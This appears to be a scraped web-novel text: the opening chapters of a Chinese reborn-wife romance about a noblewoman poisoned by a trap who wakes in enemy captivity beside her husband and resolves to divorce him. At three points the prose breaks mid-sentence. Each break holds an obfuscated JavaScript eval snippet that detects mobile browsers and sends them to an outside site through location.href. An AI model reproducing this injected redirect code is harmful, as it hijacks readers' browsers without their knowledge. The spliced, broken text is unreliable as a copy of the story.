《侯府和离手册》 1. 楔子 昭明三十六年冬,大齐下了一场格外大的初雪。白茫茫的大雪压动枯枝,平陵侯府那株养了有十年之久的海棠树不堪重负,应声而断。 子时三刻的时候,柴蘅身上的夜行衣已经不再渗血了,她闭着眼睛,从前芙蓉似的面上一片惨淡,摁着胸口,侧过身子猛地吐出一口黑血来。 侯府上上下下,一片忙乱。外头风大雪大,家里只剩下女眷,眼见着一贯像蒲草一样坚韧的嫂嫂突然成了这副样子,杨清屏顾不上许多,套了件黄色褙子披了件白皮袄就匆匆出去了,等再回来时,已经顺手扯回了个太医。 这太医名唤崔晋文,年纪已经很大了,在京中久负盛名,去年刚从太医院退下来,此刻冷汗正“簌簌”地往下落。 “夫人身上细碎的伤口太多了,老夫不敢碰。只斗胆问一句,夫人是掉进什么捕兽的陷阱里了么?” 她腿骨处狰狞的伤口明显是捕兽夹造成的,身上不一而足的细碎破口约莫也是撞蹭到的,皮肉伤本养些日子就好,但要命的是,那些刺伤她的利器都是有毒的。 且看眼下这个境况,不太好。 毒入肺腑,柴蘅整个人昏昏沉沉的,早已经说不出话来。 杨清屏平日里跟这个嫂嫂关系其实并不好,尤其是近一年。因为薛家那件事,除了福园里的几个婢女,周围几乎没有人是待见柴蘅的。 看似一个弱女子,却搅弄风云,还闯进人家家里杀了人家十八口人,搁谁谁能待见她? 但眼下瞧柴蘅奄奄一息的样子,杨清屏心里也不好受。尤其是,她猜测,自家嫂嫂这次受伤,极有可能是她哥的手笔。 薛家出事后,柴蘅跟她哥原本就微妙的夫妻关系彻底走到了决裂这一步。抛去薛如月是她哥的青梅竹马,少年时的白月光这一点不谈,单看薛家的十八条人命也够吓人。 毕竟是杀人不是杀鸡,即使杨衍如今已经位极人臣,一手拿捏着小皇帝,一手把持着内阁,可架不住人多嘴杂,在薛家这件事上,这位一向以侯府和柴家为重的嫂嫂可以说给她哥惹了个天大的麻烦。 关于她哥是用了什么样的手段把这件事压下来的,杨清屏不得而知,但她知道的是,薛家已经死了十八个人了,但这位嫂嫂尤觉得不够。 还非要将薛如月和人家的幼弟也杀了。 她这种念头太恐怖也太离谱,先是招来柴夫人的一顿家法,打得只剩下半条命在福园里躺了三个月后,又继续想法设防逃出去,再行暗杀之事。 满打满算,光杨清屏知道的,暗杀的次数就已经有三十来次了。 次次去,次次狼狈而归。 柴蘅身手不差,年少时又在芙蓉山上生活过十几年,是靖王跟芙蓉山的那群山匪抚养她到十四岁,即使中途被柴家强要了回去,但论剑法,朝廷武官集团里都未必有几个人能敌过她。 她回回失败,无非是一个原因,那就是柴夫人和杨衍都护着薛如月。 没办法,西直门这一块住着的都是世交。早在柴蘅下芙蓉山之前,薛如月就总搁柴府还有平陵侯府晃,她性子好,识医理,是人人见了都喜欢的闺秀。 而柴蘅,不过是一个在芙蓉山上长大的,仗着义父权势的野丫头。回到柴府,也仅仅是因为柴夫人要争那一口气,觉得不能因为你是靖王,你为大齐立下汗马功劳,就抢别人家的女儿。至于爱她,倒真没有。 整个帝京,除了她的婢女,没有人喜欢她。 从前她暗杀薛如月的时候,杨衍还留着几分夫妻情分,顶多让她磕的青青紫紫的回来。 这一次,想必是耐心耗尽了。 杨清屏不敢多问,只是命人将红漆木盘子里带血的捕兽夹端到崔晋文面前,“崔太医,您看看这个兽夹,能不能辨出是什么毒?” 崔晋文即刻捻了一把上面的血迹,脸色变了变,“是银桑。” “何为银桑?” 崔晋文抹了抹额上的汗,“银桑是西域特有的一种树,其果实鲜美且有剧毒,前些年,京兆尹办过一两件与银桑果有关的案子。但近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268491|182196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些年,朝廷跟西域交恶,按理说银桑果进不来,只有太医院有存货,与夫人结仇的人中有与我们太医院有渊源的么?” 结仇的人中没有。 但亲近的人中却有。 柴夫人也曾在太医院任职,且平日里很喜欢摆弄药石。毒也好,药也好,都十分精通。而且就在柴蘅今日出门前,她还破天荒地送了碗花生酪来让她食用。 屋子里的地龙烧得滚烫,火星子噼里啪啦作响。 杨清屏心底里却生出一阵可悲的凉意来,她看了一眼榻上气息微弱的人:“还能救么?” 崔晋文摇摇头,开始动手收拾带来的问诊箱,“大人几时回来?” 杨清屏道:“永州时疫严重,我哥前去治疫,怕是有些时日。” “遣人去送信看看吧,倘若来不及,小姐你这样年轻,怕是不懂丧事怎么治,找府中长辈帮忙问事吧。”外头雪还在下,崔晋文叹口气,提起装着银针的木箱,抬脚出了门。 四更天,外头的打更人又开始敲竹梆子。 柴蘅的床榻下面已经跪了一片的人。 杨清屏定了定神,这才叫来周九。 他是府里的大管家,侍奉杨衍也有十几年,冷不丁被叫来,就已经明了杨清屏的意思:“奴才已经派了最快的马和经验最足的马夫去官道上,只是大雪封山,山路难行,即使以最快的速度到达永州告知大人,也不知夫人能不能等到那个时候?” 一个连话都说不出来,此刻满脑子昏昏沉沉的人能捱到几时,谁也说不准。 杨清屏叹口气。 却很快道:“能等到的,这些年,无论兄长犯什么错,嫂嫂总是原谅他。这一回,她也一定会撑到他回来的。” “可是……” 周九看着榻上的虚弱之人,欲言又止,话音未落,耳边便是一阵剧烈的咳嗽声和咳血声。 刚刚安静下来没多久的房间一时又忙乱起来,半柱香的功夫,府内便响起一阵慌乱的哭声。 …… 2. 重生 寒冬腊月,乌月河上结了一层薄薄的冰,几个羌族士兵提着刀剑在这条被称为“西戎母亲河”的岸边巡逻。穿过乌月河,翻过不远处连绵的丛山,一路往东走个一百里就能回到中原去。 晨光熹微,柴蘅背着被打得头破血流,正疼得嗷嗷叫唤的计长卿,远远地望了一眼远在百里之外的中原故乡。 “算起来,再过两天就是正旦了,也不知道我娘子在家里一个人过得如何了,你说说我跟杨衍,当初好好的户部不进,偏偏要来兵部。现在好了,被朝廷送到这西戎做使臣,好端端就被扣下了。” “想我文人出身,苦读十多年圣贤书,平生最讲气节二字,如今竟然为了这一壶羊奶,日日做贼!还被那群牧民打成这样,真是有辱斯文。” 计长卿一面捂着头上的大窟窿“嘶嘶哈哈”,一面趴在柴蘅背上恨恨地碎碎念。 他向来是个碎嘴子,今日被打得也确实很惨,柴蘅勉强忍受着他的聒噪,许久,像是想起来什么似的,突然停下脚步: “刚刚那群牧民说,今早在大营那边又抓住了几个中原人,你听见了么?” “听见是听见了,可又能怎样?拓拔元离给咱们画了个圈,我们周围到处都是眼线,他以折磨我们为乐,想看看咱们三个是如何在这个圈里活下去的。我们都自顾不暇了,怎么去救那几个同僚?” 计长卿不以为然,在西戎待的这两个月,他也想清楚了,作为一个使臣,他虽然肩负着两邦和平的重担,可拓拔元离这个杀千刀的明显不想跟大齐交好,有意要毁了边境这几十年的和平,既然如此他只要先让自己活下去就好了。 想到这里,他又大言不惭地对柴蘅补充道:“我说柴四,你不要想太多。你来只是陪杨大人的,这两国之间的关系太复杂,男人都整不明白,更何况你们女人呢?我做使臣的,能保证自己在重刑之下不说出什么咱们大齐的机密已经很好了,别的,不能要求我更多了。” 不知道为什么,听了他的话,柴蘅很想把他从背上扔下去。 碍于他毕竟也是齐人,她忍住了,只是问:“你什么时候受重刑了?” 计长卿:“我跟杨大人一起来的,他受了重刑,刑在他身,痛在我心嘛。” 柴蘅一时失语:“有你这个同僚真是杨衍的福气。” “过奖过奖,有你这么个夫人才是杨大人的福气。又会武功又能背着人漫山遍野的跑,可惜,你这么好,他偏偏不喜欢你。京中那些传闻我都听说过的,不过没关系,柴四,我家有个堂侄,在江南一带经商,他人生得也跟杨大人一样好看,脾气还比杨大人好,没他那么死傲娇,你要是将来想一脚踹了杨大人,我可以帮你撮合。”计长卿咧开嘴,嘿嘿笑着。 姻缘这种东西,比起生死,是再不值一提的。 前世的时候,柴蘅没参透这一点,所以在杨衍被西戎扣下来后,她千里迢迢舍生忘死地也要过来陪他。如今重活一世,她又回到了跟杨衍在西戎时最艰难的两年,说实话,她是后悔的。 后悔的原因也很简单——他曾经为了薛如月要杀她。 虽然她前世只在死前从清屏跟太医的对话那里听了一点点,并不确定到底是母亲要杀她,还是他。但在他去永州之前的那一晚,他为了薛如月威胁过她,说要断了她的手脚总是真的。 她脑子再迂,再一根筋,也没有到别人都要断她手脚了,她还巴巴上赶着去喜欢他的地步。 至于再求一份姻缘,她此刻还没想到这里。 背着计长卿穿过两个牧村,便抵达了他们现下住的地方——一个破败的,四处漏风的木屋。 “走两步?”柴蘅把计长卿放下来。 计长卿咬着牙点点头,牧民的棍子除了落在他的额头上还落在他的腿上,他强撑着往前走了几步,发现勉强能动,便提着羊奶推门进去。 木屋的外面破败,里面也破败。一张桌子,两张床,中间用一块破布帘子隔着。柴蘅刚重生回来的时候就发现自己跟杨衍躺在一张床上,他当时双目紧紧地闭着,一张年轻的俊脸上是异样的苍白,浑身也都是血腥气。用一个词形容就是“半死不活”。 柴蘅很难讲一睁眼看到他的时候,自己内心的想法。恨他么?多多少少有一点。但恨到想杀了他么?也不至于。 这一辈子她还有大好的人生要过,恨一个人太费力气,不值得。 更何况,西戎是异乡,想要在这个地方走出去,自相残杀必然是不能的。他将来权势太盛,她也不想得罪他。 所以在重生回来的第一天,她就已经想好了,等回到侯府就就跟他和离。 “小十三真乖。” “瞧瞧,这几日又胖了不少,也不枉费我去替他偷奶了。” 计长卿一进门就先把襁褓里的小十三给抱起来,这孩子才刚满月,乖觉得很,不哭不闹,平日里见了人就笑。 柴蘅前世没有孩子,一个没有孩子的人是没有带孩子的经验的,照顾十三皇子这个任务自然而然就落在了早早就当爹了的计长卿头上。 计长卿也乐意干,回回抱着小十三在院子里走,走着走着仿佛那些被困在西戎的烦恼丝就都断了。 柴蘅见计长卿又抱着孩子出去晃悠,于是像往常一样,轻车熟路地拿起桌子上的药罐准备给杨衍换药。 他身上都是鞭痕,几十道深浅不一,拓拔元离扔给他们的药都是些烈性且敷上去使人更加疼痛的药,可不敷皮肉又长不好,伤口感染早晚就是一个死字。 西戎这些羌人的鞭子不好挨,柴蘅重生回来有两日,这两日杨衍基本上都是昏迷着的状态。昨晚刮北风,他还起了高热,昏昏沉沉地说了几句胡话。 计长卿凑过去听,只听见他唇齿间含糊不清地喃喃呓语着。具体是什么,也不清楚。 从院子里打了一盆不算干净的水进来,柴蘅拿起晒干了的新的绷带,试图给他换药。他意识模糊,这两日柴蘅扒他的衣服扒得都十分顺利,可今日,手刚伸过去,才将将碰到他的中衣,手腕便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268492|182196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被他抬手摁住了。 杨衍身子很烫,掌心的温度也是热得骇人。他伤得很重,力气倒大。柴蘅挣脱了一下没挣开,皱着眉头再挣第二下的时候,他方才松开桎梏住她的手。 “帘子。” 杨衍倚靠在墙边,虚弱地睁开眼,沉沉开口。 柴蘅顺着他的目光看去,这才意识到这几日给他换药都是没有给他拉帘子的。他在这一方面向来矫情又娇贵,柴蘅不想顺着他,却也不想跟他一个伤患有口舌之争,只得起身去给他把帘子重新拉上。 “你自己把衣襟解开。” 拉完帘子,她又重新在杨衍的面前蹲下来,开始认真地搅拌药瓶里的药粉。 拓拔元离是奔着故意折磨他去的,落鞭的人下手不轻,即使已经换过几次药,鞭伤也反反复复在化脓渗血。死过一次的柴蘅对于杨衍没有多余的怜惜,换药的动作也谈不上轻柔,烈性的药粉蛰在尚未好全的伤口上,疼痛让杨衍略微阖上了双目,话却半点没少,嗓音里透着疲惫: “计长卿为什么会跟我睡在一起?” 柴蘅随口胡诌:“计大人怕鬼,不敢一个人睡。” 屋子就这么大,隔着一扇帘子的距离,他一个大男人怕什么鬼? 杨衍没有拆穿她,只是觉得奇怪,她从前一贯馋他身子,一有机会恨不得把他扒了吃干抹净,如今有了机会却要跟他分床而眠。 但这些眼下都不太重要。 重要的是,他需要一个人十日后前往二里外的羌人的大营,替他送一样东西给拓拔元离。计长卿要奶孩子,人又脆,大概没走到大营就死在路上了。 至于柴蘅…… 他看着她,一时之间不知道在想些什么。 “过来。” 柴蘅低头把药罐收拾好,一抬头瞧见杨衍这副在思索的神色,便已经猜到了他的心思。 那几个被抓的中原人里有拉着几十辆马车的粮草去支援镇北军的江南富商徐见贤,也有一身劲装腰间挂着宝刀后来靠着欺世盗名,名震天下的白袍小将楚堰怀,最重要的是要去镇北军营当军医的薛如月也在其中。 前世的时候,她千里迢迢赶过来陪他,他感动不感动她不知道,但没隔几日,她就被他发配到拓跋元离那里完成任务了。 一封拓跋元离的弟弟拓跋鹰私下勾结其部下想要夺权的书信,换得徐见贤他们几个平安,自然是一桩好买卖。 这桩买卖到今天看也依旧是划算的,毕竟,如果没人去送这封书信的话,那三个人都活不成。 只是,作为一个送信人,她就半点危险都没有么? 许多事情不容细想,一细想,她都能从中品味出几分这人的绝情。 但没办法,她跟徐见贤有些交情,看着他就这么死在西戎人手里是不可能的,所以,思量之下,她主动开口: “大人是需要人去送信?” 如此官方的称呼让杨衍微不可见地皱皱眉头: “你叫我什么?” 3. 有病 “大人。” 柴蘅只当他耳背,又重复了一遍。她脾气其实很好,除了前世被他关在福园里,跟他闹得最僵的那半年以外,很少有不高兴的时候,此刻回答他,也是十分温和的语气。 也就是这样沉静的一滩池水,让杨衍觉得陌生又熟悉。他目光沉沉地打量她片刻,但仅仅是一瞬间,神色又恢复如常。 “你知道要往哪里送信?” “拓拔元离的大营。”柴蘅说完后,似是想起什么,又补了一句,“你梦里说的。” 一个人做梦是不会真的知道自己在昏昏沉沉的时候到底说了什么的,但杨衍无比的确信,他梦里没说过这样的话。 “等两日我能走动了,我自己去送信。你跟计长卿看顾好小十三就好。”寒冬腊月的天让人没什么力气,杨衍疲惫开口。 故事的发展跟从前柴蘅经历的似乎不太一样。 她先是愣了愣,很快又想起,前世,拓跋元离放了徐见贤几人后,是准备把她扣下来的。后来是杨衍来跟拓跋元离二次谈判,比盲射,才同意给一个放她走的机会,但那一日,拓跋元离输急眼了,中途反悔,让杨衍给他跪下,才肯履约。 重来一世,互相看不见对方屈辱的时候,也未必不是一件好事。 柴蘅收拾好东西,撑着膝盖站起来,准备去院子里打水清洗一下带血的铜盆,适逢计长卿抱着小十三走进来。 “杨大人醒了?”他刚刚听见了里头的说话声。 “醒了。”柴蘅说。 “那既然醒了,今晚还是你们俩睡一块呗。”计长卿掀开帘子又抱着孩子走出来,凑近了柴蘅,跟她打着商量,“杨大人那个人,你认识的时间比我长,你又不是不知道,他见不得半点不干净,先前就我们俩在这儿的时候,我跟他隔得老远,他都要我日日把自己清洗干净,这大冬天的,来来回回洗一趟多麻烦。你们是夫妻,他嫌弃我,总归不会嫌弃你。” 平陵侯府虽然落魄,但在吃穿用度上,杨衍这一生是没有过过苦日子的。正因为如此,他爱干净爱到有点病态。 不仅是计长卿,从前柴蘅跟杨衍躺一张床上的时候,也日日要按照他的习惯来,上床前半个时辰要先把自己洗干净,换上干净的里衣,不可以在床榻上吃任何的东西,拿完刀剑的手要洗上三遍才能碰他的东西,不可以用脚踩着他的任何衣物。 这些破规矩在柴蘅的脑子,只要想想就头疼。 好不容易有个机会能不遵守,她又怎能放过。 “即使我们是夫妻,他也会嫌弃我。而且,“柴蘅顿了顿,对着计长卿继续道,“而且很快就不是了,所以这段时日先委屈你了。” 她言语平静温和,看着不像是开玩笑的样子。 计长卿懵了一瞬,扭头关上木门,拉着柴蘅一起坐在了屋子前的门槛上,小声说:“怎么回事儿?你该不会真想跟我堂弟凑一对吧?” 这厮总是语出惊人。 柴蘅听了忍不住笑了:“我又不认识你堂弟是谁,我跟他凑什么一对儿?婚姻大事又不是真的儿戏。” “那你的意思是回去后要跟杨大人和离?” “当然。”柴蘅坦诚地点点头。 计长卿不明白,要和离在上京等着杨衍回去不就行了么,还费劲苦心跑来送一趟死做什么? 别说他不明白,柴蘅自己也不明白,不明白为什么既然上天让她重生一回了,还偏偏要把她送到这个地方来,可既来之则安之,这天底下的事情,哪能是她想要什么就有什么的。无非是走一步看一步罢了。 “那你不再试试了么?” 计长卿苦心孤诣地劝道:“这人与人之间的感情是培养出来的,你们是少年夫妻,多不容易。他今日不喜欢你,明日不喜欢你,说不定后日就喜欢你了呢?保不齐哪一日你们就心意相通了。” 计长卿的话很实在,可柴蘅试过了,也撞过南墙,上辈子兽夹夹在腿上的感觉太疼了,她不想再试了。 柴蘅摇摇头,笑道:“不试了。明知道是苦果,还硬要去试,可不真成傻子了。” 眼见着她又重新站了起来,计长卿也不好干涉太多,毕竟,如今杨衍是个病患,他自己个儿又是又菜又脆的那个,万一说烦了,把柴蘅这个武力担当给说跑了,可就不好了。于是乎,他识趣地跟上去,乐呵呵地问她需不需要他帮忙磨刀。 磨刀倒是不需要。 但屋子里除了小十三要喝的羊奶以外,已经没有什么吃的。柴蘅拿起墙上的弯弓和一把镰刀,就又往外走。 她自小在芙蓉山里长大,认野菜以及猎物的本事要比计长卿强太多,杨衍昏迷的这几日,全靠着柴蘅打来的猎物和挖来的野菜,计长卿才得以果腹。如今她又要出去了,计长卿是又兴奋又担心。 兴奋是不知道今日柴蘅又会带回来些什么,担心则是怕她遇上不好说话的羌人,万一就这么被逮走,可就不好了。 “你什么时候回来?需要我同你一起么?”计长卿掀开帘子,在她临走前,关怀地问她。 “不知道,如果早的话,天黑之前应该能回来,不早的话,大约明早。墙上还挂了些止血化瘀的草药,如果我天黑前没回来,你晚上把它熬给你自己跟那个人。”柴蘅将弯弓在自己身上捆了捆紧,事无巨细地提醒计长卿。 “好。” 计长卿点点头,没什么需要他帮忙的,他反倒乐得自在, 想到这里,他阖上帘子,往里面走,进屋子的时候,瞧见杨衍也正透过窗子往外头看,只是,他眸光不甚清明,也不知道在思索些什么。 计长卿不知道这屋子的隔音到底好不好,也不知道刚刚柴蘅说的他听到没有,冷不丁对上杨衍的眼神时,竟有些尴尬。这尴尬更像是怜悯。 他无所适从,只好先把怀里的小十三放下,然后轻咳一声,眼神躲闪。 殊不知,杨衍这一生最不稀罕的便是别人的怜悯。更何况,他也从来不觉得柴蘅会真的跟他和离。 她有多喜欢他,他比任何人都清楚。 离开他,她舍不得。 “今日我跟柴四路过羌人大营的时候听说那边绑了几个中原人,不知道是不是朝廷派来救我们的。杨大人,你说如果朝廷那边跟这群羌人一直谈议和谈不通,我们会不会真的死在这里?” 将小十三放下后,计长卿突然开口,难得聊些正经的事。 西戎跟大齐的仗到今天为止打也打了至少有十年,这十年打得民生凋敝,百姓苦不堪言。 看似两军交战只是兵部的事,但一旦狼烟起,国库就必定吃不消。买军粮要花银子,将士们御寒的衣物也要花银子,更别提那些刀枪剑戟类的军备了,国库的钱又从哪里来,那必然是从百姓那里。 身为这一次和谈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268493|182196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的兵部书令史,他虽贪生怕死,也虽然官不如杨衍这个侍郎大,但说半点不忧心是不可能的。所以在杨衍醒来前,郁郁寡欢的话已经跟柴蘅说了大半箩筐,此刻,好不容易同僚醒了,又多了个输出的对象。 人面对未知时总是会有恐惧。 计长卿这样的绝望和迷茫,曾经,杨衍也是经历过的。 不知道朝廷会不会来救他们,不知道援兵什么时候来,也不知道大齐和西戎的命运将来会何去何从。 杨衍理解计长卿,也熟知事情的发展,所以平静地安抚他:“放心,半年内我们都可以平安回到大齐。” 长久以来,杨衍一直都是计长卿的主心骨。有他这么一句话,计长卿一颗心算是安了不少。 人安心,睡得自然也香。为了给小十三偷羊奶,他今儿跟柴蘅起了个大早,因为跑得不如柴蘅快,被牧民逮住又挨了一顿打,此刻困意绵绵,打了个哈欠后,顺势就躺了下来。 “收拾你的铺盖,回到你本来的位置。”杨衍扫了一眼计长卿先前放在他身侧的被子。 “好,那我先滚,等柴四赶我,我再回来。”计长卿听话地收拾他的小铺盖,飞快地走人。 …… 大雪封路,柴蘅熟练地钻了两个小树林,在地里滚了好几圈,才勉强打到一只野兔。等回到小木屋的时候,天已经黑透了。 屋子里亮着一盏灯,想来是给她留的。 她麻溜地用从前师父师娘教的野外生存的方式用刀子在外面处理了野兔,分好了肉后,将自己的手清洗干净,这才钻进屋子里。等进去的时候,发现计长卿已经躺在了她的床榻上,打起了愉悦的鼾。 柴蘅:…… “滚进来。” 隔着一扇帘子,她听到了那个熟悉的低沉的嗓音。都这个时候了,他还没有睡,定然没安什么好心。 柴蘅提着刚宰过兔子的刀进去,想看看这个没礼貌的人到底要做什么,结果一个没站稳,被中间的小板凳绊了一跤,四脚着地,趴在了地上。 “走路永远不看脚下。” “看来是前世给你的教训还不够。” 一模一样的冷嘲热讽的语调,一模一样的倨傲。只这两句话,让柴蘅不可思议地抬头看向他。 她突然想起了前世,因为不爱看脚下的路这个毛病,每回她去刺杀薛如月的时候,杨衍都会吩咐人给她设各种各样奇怪的陷阱。要么是让她被绳子绊倒,要么是给她挖各种各样的大坑。为此,她没少摔跤。 所以此刻,他这话一出。 她心下了然。 不仅仅她重生了,他也一样。 并且,他懒得跟她装下去。即使是一天都不行。 “你这么坦白,不怕我杀了你么?”柴蘅觉得十分的荒谬,撑着手臂艰难地爬起来,冷冷地看着面前这个人。 “你不会。” 杨衍轻描淡写的目光投向她,上一世风风雨雨十几年,他们之间虽然有隔阂,但杨衍比任何人都了解她。 “在西戎这个敌人的地界杀我,你就是大齐的叛徒。你脑子没病,干不出这样的蠢事。” 柴蘅:“……” 杨衍继续:“前世的事情,你我各有难处,在去永州之前的那一晚,你不是要找我求和的么?我那时候没有原谅你,但现在,我原谅你了。” 柴蘅:“……” 4. 摊牌 一阵微风拂过,柴蘅脑子嗡嗡的,刚想问你要原谅谁? 就又听到杨衍还在继续: “看在前世你死的比我早几日的份上,你不听规训,屡次三番从福园偷跑出去,甚至勾结陆识初给我捅刀子的这些事情,我都可以不跟你计较。只要你日后乖乖的,等回到京城后,我们还是可以好好过日子。” 杨衍摩挲着指间的扳指,不知想起了什么,语气柔软了几分,“你不是一直想为芙蓉山买一座新的山头么?等回了京城,我就陪你去看山头。从前的事情,我们就此作罢。” 柴蘅:“……” 上一世杨衍比她也就多活了五日,这一点柴蘅其实是知道的。 人死后会有那么几日魂魄是留在原来的家里的,前世,永州时疫严重,朝廷的折子几乎是一刻都不停地往他那里送。 少帝年幼,又刚被杨衍逼着杀兄夺位没多久,还没缓过劲来,处理朝政大事还是个雏儿,一切都仰仗杨衍这个老师。在她的死讯传到他耳朵里之前,为了批复那些奏折他已经三天三夜没合过眼,等回来侯府匆匆处理完她的葬礼,他又去了文华殿给小皇帝讲了一夜的经筵,适逢大雨,染了风寒,铁打的身子也撑不住,回来后就昏死过去,一睡不醒。 这世上,人与人的死是不一样的。 她死后,最伤心的要数杨清屏。这姑娘是她一手带大的,虽然少女时期跟她某些观念不合,闹过几次别扭,且这丫头似乎也更喜欢薛如月,但灵堂上的眼泪终究是做不得假。 他死的时候就不一样了,举国哀痛,小皇帝为了他这个老师大操大办了一场,其奢侈程度就快赶上先帝死的时候了。可不是么,一手将自己扶植上帝位,权势滔天,死得还早,不需要将来刻意除之,她要是少帝,也得把杨衍当成再生父母。 而话说回来,时间转移大法是个好东西。 倘若她死后再过个十年二十年,他才死,那兴许会有片刻的时候,他是怀念她这个亡妻的。也兴许会有那么片刻的时候,回忆起从少年时候起到中年时候的那十余年风风雨雨的岁月,他会有那么一瞬间反省一下自己是不是对她做的太过。 但眼下,她死了几日他就死了。 两人都很“咯噔”。 柴蘅也就没指望他有什么愧疚反省。 “我没有什么需要你原谅的。” “你去永州前一晚,我是准备找你求和的不错,但那仅仅是因为我知道在薛家这件事上,我给你跟母亲添了麻烦。可原谅两个字你不能用在我的身上。”柴蘅收起腰刀,拍了拍衣裙上的灰,站稳了身子。 她皮肤生得很白,但因为在地里滚了几圈,所以此刻一张脸也灰扑扑的。二十出头的年纪,跌倒了就能继续爬起来,皮实得很。 杨衍顺着她的脸往下看,最终将复杂的目光搁在她的左腿上。 “疼不疼?” 他突然开口,用手边的木棍敲了敲她的左腿。 柴蘅当然知道他指的是什么,忍不住道:“杨衍,做都做了,问这个你不觉得矫情么?” 好端端让他的腿被兽夹夹断一次,看看疼不疼? 感受到她话语里的敌意,杨衍知道她在疑心什么,沉声道:“我没让人放过带毒的兽夹。” 他说过的重话他是认的,可没做过的事不能推给他。 不是他放的,偏偏那么巧,他说了要她再敢动薛如月他就断了她的腿脚后,薛家门口那个大坑里就多了个兽夹,这样的巧合说出去谁能相信? 柴蘅不想跟他纠结这些,没意思,更何况,他们之间的矛盾日久年深,一桩桩,一件件,也不仅仅是上一世她是怎么死的这件事。 “杨衍,我不想跟你吵架。认识这么多年,其实我们之间也不全是糟糕的记忆。” “我记得在很多年前我刚回京被母亲送去南阳书院读书的时候,户部尚书的孙子欺负我,你帮我揍过他。” “后来我们成婚,虽然说好了只做表面夫妻,但每次回柴府,母亲为难我,你也会不动声色地帮我挡过去。我为了帮你打点朝堂的关系,帮京卫司办事,有一回被一个出狱后的江洋大盗在花灯会上盯上,他一柄飞刀飞过来,我当时正跟长姐在挑选面具,也是你扑过来替我挡了一记飞刀。” 从前那些还算美好的回忆在脑海里浮现,杨衍听着她温和的叙述,脑子里仿佛也回忆起了很多的事情。 但这份温存并没有延续多久。 紧接着,就听到柴蘅继续道:“我不是一个只记仇不记得恩情的人,所以在经历了前世后,还能说服自己没有打你一顿,但请你做个人一点。” 听到这里,杨衍脸色难看几分,才听出她是在变着法地骂他。 …… 西戎的日子过得很快,日出而作日落而息。那一晚杨衍跟她摊牌后消停了不少,这些日子,计长卿去给他上药,无论上得好坏,下手轻重,他都阖着眼不多说什么,也不折腾,乖巧得令人害怕。 “你给杨大人吃迷魂药了?他这几天脾气怎么这么好?”抹完了药后,颇有成就感的计长卿忍不住问柴蘅。 柴蘅坐在院子里晒太阳,听了这话笑道:“他不是脾气变好,只是识时务了。” 这么大的人,也不至于上个药还挑人。 计长卿若有所思点点头,然后嘿嘿一笑:“对了柴四,你来之后,拓拔元离还没找过我们麻烦呢。你都不知道先前你还没来的时候,他总派士兵来骚扰我们,你说,他会不会不来了?” 不知道为什么,柴蘅竟然从计长卿的嘴里听出了几分怀念他们来的味道。 这天底下所有的好事都不能提,总提兴许就没有了。 柴蘅刚想制止他,让他慎言。 就听见远方传来一阵哒哒的马蹄声。这马蹄声伴着嘶鸣和羌人的吆喝声,她下意识地抬头看过去,只见远处一列穿着甲胄的军队已然浩浩荡荡地往他们这个小木屋来。 “他们平日里都这么大阵仗的么?” 计长卿:“倒也没有,拓拔元离抽风吧应该是。” 说着,他往柴蘅身后藏了藏:“靖王是你的师父,这一队人要是真动起手来,柴四,你能打得过的吧。” 他乌溜溜的小眼睛在柴蘅的身后转。 柴蘅:“那当然……不能。” 计长卿心灰了一半,但还是抱着一线希望:“那你能一个打几个?” “不知道。” 来西戎之前,柴蘅这副身体已经很久没有碰过刀剑了。在京城,柴夫人一心想要她做个闺秀,所以从她回柴府起,只要见到府上有刀剑,都要狠狠地训斥她一顿。后来她成亲了,因为杨衍没有母亲,柴夫人就认为自己可以做这个女婿的母亲,隔三差五往平陵侯府跑,她怕被念叨,也只好把刀剑都藏起来。 仔细说起来,她武力值最高的时候还是少年时在芙蓉山的那段时间。 计长卿狠狠一闭眼,决定不管了,像个“冬瓜”一样先缩在了柴蘅的背后。柴蘅也没有把他拽出来,因为,她刚刚回过神来,那支浩浩荡荡的军队就已经到了她的面前,同时,另一只“冬瓜”已经被甩到了她的面前。 地面上掀起一片尘土,柴蘅只瞧见一只麻袋。麻袋里似乎装了个人,正在“呜呜”地扭动。 “我们西戎礼遇大齐,可你们大齐君主却屡次三番派细作前来试探我们,耀武扬威,难道真当我们西戎动不起兵戈么?” 坐在高头大马上的男人身姿强健,深蓝色的异族瞳孔,断眉,眉峰处有一道深深的刀疤,身上裹着乌黑发亮的厚厚的狼皮,皮肤黝黑,嗓音极冷。 柴蘅认得他,拓拔元离的弟弟——拓拔鹰。 拓拔王室一共有三个王子,拓拔元离是老大拓拔鹰是老二,排在最末的叫做拓拔野。拓拔野跟前两个不是一母所生,且性子截然不同,不受拓拔老王的喜爱,因此在皇权争夺中,早早地被排除在外。 